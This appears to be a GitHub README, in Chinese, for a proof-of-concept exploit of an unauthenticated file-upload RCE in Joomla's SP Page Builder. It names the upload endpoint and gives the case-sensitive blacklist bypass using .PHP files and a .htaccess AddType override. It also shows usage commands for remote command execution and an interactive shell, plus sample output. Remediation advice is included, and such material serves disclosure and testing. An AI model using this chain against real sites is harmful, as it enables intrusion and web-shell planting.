papageo75/CVE-2026-48908-PoC
GitHub: papageo75/CVE-2026-48908-PoC
针对 Joomla SP Page Builder 未授权 RCE 漏洞(CVE-2026-48908)的自动化概念验证工具,支持未授权文件上传利用与交互式命令执行。
Stars: 0 | Forks: 0
# CVE-2026-48908 — SP Page Builder (Joomla) 未授权 RCE
针对 **CVE-2026-48908** 的漏洞验证程序 (PoC) 利用代码,这是由 JoomShaper 开发的 Joomla **SP Page Builder** 组件 (`com_sppagebuilder`) 中一个严重的 (**CVSS 4.0 = 10.0**) 未授权
远程代码执行漏洞。
| | |
|---|---|
| **CVE** | CVE-2026-48908 |
| **弱点** | CWE-284 不当访问控制 → 未授权任意文件上传 → RCE |
| **组件** | 用于 Joomla 的 SP Page Builder (`com_sppagebuilder`) |
| **受影响版本** | **1.0.0 – 6.6.1** |
| **修复版本** | **6.6.2** |
| **所需权限** | 无 (预认证) |
| **用户交互** | 无 |
## 描述
SP Page Builder 暴露了控制器任务 **`asset.uploadCustomIcon`** 来处理上传自定义 icon-font 包:
```
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
```
在受影响的版本中,该任务**无需身份验证且无需有效的 anti-CSRF token** 即可访问。它接受一个 ZIP 存档 (multipart 字段 `custom_icon`) 并**将其内容解压到文档根目录下一个由 Web 对外提供服务的公开目录**中:
```
/media/com_sppagebuilder/assets/iconfont// (including the fonts/ subfolder)
```
由于该上传接口在认证前即可访问,且解压后的文件直接存放在 Web 根目录下,攻击者可以将受攻击者控制的文件写入可浏览的位置,并通过 HTTP 访问它们。
### 尽管有扩展名过滤仍能实现代码执行
某些版本在存档条目上添加了服务器端的文件名过滤器。此 PoC 通过三步链式攻击击败了其常见实现:
1. **区分大小写的黑名单。** 该过滤器会拒绝小写的 `.php`, `.phtml`, `.phar`, `.php3`–`.php8`, `.pht`, `.inc` 等,但它**不会**统一大小写,因此 **`.PHP`** (及其他大小写混合的变体) 和 **`.htaccess`** 可以顺利通过。
2. **区分大小写的 Web 服务器处理器。** 默认的 Apache PHP 处理器 (``) 仅执行小写的 `.php`,因此上传的 `.PHP` 最初会作为源码文本提供,而不会被执行。
3. **`.htaccess` 覆盖。** 包含 `AddType application/x-httpd-php .PHP` 的 `.htaccess` 文件 (同样被黑名单遗漏) 会与 payload 一起释放。在允许 `AllowOverride` 的地方,这会将 `.PHP` 注册为 PHP,上传的 web shell 随即**被执行**。
该 PoC 打包了有效的 icon-font 结构 (`selection.json`, `style.css`, `fonts/.ttf`) 以确保上传被接受,此外还包含 `fonts/.htaccess` 和 `fonts/.PHP` web shell。
## 要求
```
pip install -r requirements.txt # requests
```
## 用法
```
# 确认漏洞并证明代码执行(运行 `id`)
python3 sppb_rce.py https://target.example
# 运行特定命令
python3 sppb_rce.py --url target.example -c "uname -a"
# 交互式 pseudo-shell
python3 sppb_rce.py https://target.example --shell
# 仅检查;不运行命令
python3 sppb_rce.py https://target.example --check
# 之后移除已上传的 payload 目录
python3 sppb_rce.py https://target.example --cleanup
```
目标可以作为位置参数或通过 `--url` 提供,带或不带协议 (scheme) 均可。
### 示例 (已脱敏)
```
[*] target : https://target.example
[*] uploading payload ZIP (unauthenticated)...
[+] uploaded & extracted to webroot: /media/com_sppagebuilder/assets/iconfont/icoabcdef/
[+] CODE EXECUTION CONFIRMED (echo 7*6 -> 42)
[*] running: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
```
### 安全特性
- 释放的 web shell **受每次运行生成的随机 token 保护**,对于没有该 token 的访问者会返回 `404` —— 它不是一个对外开放的后门。
- `--cleanup` 会删除其创建的 payload 目录。
- 默认操作是良性的 (`id`,一个算术标记)。
## 修复方案
1. **将 SP Page Builder 升级到 6.6.2 或更高版本** (为上传任务添加了身份验证、授权和 CSRF 检查)。这是主要的修复措施。
2. Web 服务器的深度防御:
- 通过 FPM 池或 `php_admin_flag engine off` 禁用上传目录 (`/media/`, `/images/`, `/tmp`) 中的 PHP 执行。
- 将这些目录的 `AllowOverride` 设置为 `None`,以防释放的 `.htaccess` 重新启用处理器。
- 对上传扩展名使用不区分大小写的**白名单**,切勿使用黑名单。
3. 假设已被入侵的审查 (Assume-breach review):检查 `media/.../iconfont/` 下是否有意外的 `.php`/`.PHP` 文件,是否有新的超级用户 (Super User) 账户,以及是否被植入了文件管理器。
## 参考
- NVD — CVE-2026-48908
- JoomShaper SP Page Builder 更新日志 (6.6.2 安全修复)
- SP Page Builder 扩展目录列表
## 免责声明
本软件发布**仅用于教育目的和授权的安全测试** —— 例如您有**书面许可**执行的渗透测试、目标在范围内的漏洞赏金计划、CTF 比赛以及您自己的实验室系统。
未经授权访问、修改或破坏计算机系统在大多数司法管辖区都是**非法的**。**您必须对自己的行为承担全部和完全的责任。** 在使用、下载或分发此代码时,即表示您同意:
- 您仅将其用于您**拥有**或具有**明确、书面测试许可**的系统;
- 作者和贡献者对因使用或滥用此代码引起的任何损害、数据丢失、服务中断或法律后果**不承担任何责任**;
- 本材料按**“原样”提供,不提供任何形式的保证**,无论是明示还是暗示的。
如果您不同意这些条款,请不要使用本软件。与任何公开可用的 exploit/PoC 一样,分享它是出于善意,旨在帮助防御者检测、理解和修复漏洞;您用它做什么由您自己决定。
## 许可证
MIT — 见 [LICENSE](LICENSE)。
标签:CISA项目, Joomla, OpenVAS, PHP, Web安全, 编程工具, 蓝队分析, 远程代码执行, 逆向工具